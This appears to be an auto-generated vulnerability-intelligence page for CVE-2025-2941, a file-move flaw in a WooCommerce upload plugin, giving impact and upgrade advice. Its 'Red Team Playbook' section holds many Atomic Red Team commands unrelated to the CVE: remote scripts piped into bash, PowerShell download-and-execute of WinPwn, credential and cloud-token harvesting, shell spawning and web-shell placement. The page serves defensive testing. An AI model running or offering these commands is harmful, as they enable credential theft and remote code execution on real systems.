CVE-2025-2941
Overview
This vulnerability is a directory traversal flaw caused by insufficient validation of file path inputs. The affected component is the Drag and Drop Multiple File Upload for WooCommerce WordPress plugin, specifically the handling of the wc-upload-file[] parameter. The plugin fails to properly sanitize or restrict file paths, allowing manipulation of file locations on the server filesystem.
Vulnerability Description
The Drag and Drop Multiple File Upload for WooCommerce plugin for WordPress is vulnerable to arbitrary file moving due to insufficient file path validation via the wc-upload-file[] parameter in all versions up to, and including, 1.1.4. This makes it possible for unauthenticated attackers to move arbitrary files on the server, which can easily lead to remote code execution when the right file is moved (such as wp-config.php).
Impact
An unauthenticated attacker can exploit this vulnerability remotely to move arbitrary files on the server, potentially overwriting or relocating sensitive files. This can facilitate remote code execution by moving files like wp-config.php to locations where they can be executed or manipulated. No user interaction or authentication is required (AV:N/AC:L/PR:N/UI:N), enabling easy exploitation from the network. This can lead to full system compromise and data exposure in affected WooCommerce installations.
Solution
Upgrade the Drag and Drop Multiple File Upload for WooCommerce plugin to version 1.1.5 or later, where the file path validation issue is addressed. The WordPress plugin repository and Wordfence advisory provide detailed patch information and changelogs confirming the fix. Administrators should refer to the official plugin page at wordpress.org/plugins/drag-and-drop-multiple-file-upload-for-woocommerce/#developers for upgrade instructions and verify that no older versions remain in use.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability associated with the Drag and Drop Multiple File Upload for WooCommerce plugin for WordPress arises from inadequate validation of file paths through the wc-upload-file[] parameter. This flaw allows unauthenticated users to manipulate file locations on the server, potentially leading to severe consequences such as remote code execution. The core issue lies in the plugin's failure to properly sanitize user input, which opens the door for attackers to exploit this weakness by moving sensitive files, including configuration files like wp-config.php. Such files often contain critical information, such as database credentials and API keys, making them prime targets for exploitation.
Attack vectors exploiting this vulnerability are varied and can be executed with minimal technical knowledge. An attacker could craft a malicious request to the server, leveraging the file upload functionality to move files to unauthorized locations. For instance, by targeting the wp-config.php file, an attacker could gain access to sensitive data, further facilitating their ability to execute arbitrary code on the server. This scenario highlights the ease with which an attacker can exploit the vulnerability, as it does not require authentication or elevated privileges, making it particularly dangerous for WordPress installations that utilize this plugin.
The real-world impact of this vulnerability is significant, especially for businesses relying on WooCommerce for their e-commerce operations. Successful exploitation could lead to unauthorized access to sensitive customer data, including payment information and personal details, resulting in data breaches that can damage a company’s reputation and lead to financial losses. Additionally, the potential for remote code execution means that an attacker could take complete control of the affected server, leading to further exploitation, data manipulation, or even the deployment of ransomware. The business risks associated with such incidents include regulatory penalties, loss of customer trust, and the costs associated with incident response and recovery.
To detect and mitigate the risks posed by this vulnerability, organizations should implement a multi-faceted approach. Regular security audits and vulnerability assessments can help identify and remediate weaknesses in the plugin or the overall WordPress environment. Employing web application firewalls (WAF) can provide an additional layer of security by filtering out malicious requests before they reach the server. Furthermore, it is crucial to keep all plugins and the WordPress core up to date, as updates often include security patches that address known vulnerabilities. In addition, organizations should consider implementing strict file permissions and monitoring file integrity to detect any unauthorized changes to critical files.
In conclusion, the vulnerability within the Drag and Drop Multiple File Upload for WooCommerce plugin poses a serious threat to WordPress installations, particularly those that handle sensitive customer data. The ease of exploitation and potential for severe consequences necessitate immediate attention from website administrators and security professionals. By adopting proactive detection and mitigation strategies, organizations can significantly reduce the risk associated with this vulnerability and protect their digital assets from malicious actors.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-2941 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/2685a2b4-aba3-425b-af0d-06f7693ab3d7?source=cve |
| wordpress.org |
GitHub CVE
|
https://wordpress.org/plugins/drag-and-drop-multiple-file-upload-for-woocommerce/#developers |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3266697%40drag-and-drop-multiple-file-upload-for-woocommerce&new=3266697%40drag-and-drop-multiple-file-upload-for-woocommerce&sfp_email=&sfph_mail= |